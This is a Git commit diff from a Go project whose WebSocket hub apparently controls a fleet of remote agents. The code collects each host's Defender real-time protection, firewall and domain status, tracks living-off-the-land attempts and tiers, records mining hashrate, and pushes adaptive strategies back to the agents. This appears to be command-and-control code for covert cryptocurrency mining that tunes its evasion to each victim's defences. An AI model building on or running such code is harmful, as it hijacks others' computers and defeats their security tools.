Fix validation failures from loose-end sweep
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

This commit is contained in:
AetherForge
2026-06-07 01:29:54 -07:00
parent 85376eac7c
commit f27cec887a
8 changed files with 33 additions and 13 deletions

View File

@@ -263,6 +263,7 @@ func (h *WSHub) SetServerPolicy(p ServerPolicy) {
h.mu.Unlock()
}
// SetAdaptiveEngine wires the fleet learning engine and starts background rescoring.
func (h *WSHub) SetAdaptiveEngine(e *strategy.AdaptiveEngine) {
h.mu.Lock()
h.adaptiveEngine = e
@@ -882,7 +883,8 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
domainJoined = true
}
fp := strategy.FingerprintFromAuth(auth.Platform, clientIP, domainJoined)
resp["adaptive_strategy"] = h.adaptiveEngine.StrategyForAgent(agentID, fp)
adaptive := h.adaptiveEngine.StrategyForAgent(agentID, fp)
resp["adaptive_strategy"] = adaptive
}
return resp
}())})
@@ -1721,6 +1723,7 @@ func (h *WSHub) ResolveAgentTargets(ids []string) []string {
return ids
}
// PushAdaptiveStrategyUpdates recomputes and pushes adaptive_strategy_update to online agents.
func (h *WSHub) PushAdaptiveStrategyUpdates() int {
h.mu.RLock()
engine := h.adaptiveEngine
@@ -1763,12 +1766,10 @@ func (h *WSHub) ingestStrategyFromPayload(agentID string, payload map[string]int
if v, ok := payload["firewall_domain"].(bool); ok {
firewallDomain = &v
}
h.ingestStrategyFromStats(agentID, platform, ip, defenderRTP, firewallDomain, parseLOTLAttemptsFromPayload(payload), 0, "")
if hr, ok := payload["mining_hashrate"].(float64); ok {
if tier, ok := payload["lotl_tier"].(string); ok && hr > 0 {
h.ingestStrategyFromStats(agentID, platform, ip, defenderRTP, firewallDomain, nil, hr, tier)
}
}
attempts := parseLOTLAttemptsFromPayload(payload)
hashrate, _ := payload["mining_hashrate"].(float64)
activeTier, _ := payload["lotl_tier"].(string)
h.ingestStrategyFromStats(agentID, platform, ip, defenderRTP, firewallDomain, attempts, hashrate, activeTier)
}
func (h *WSHub) ingestStrategyFromStats(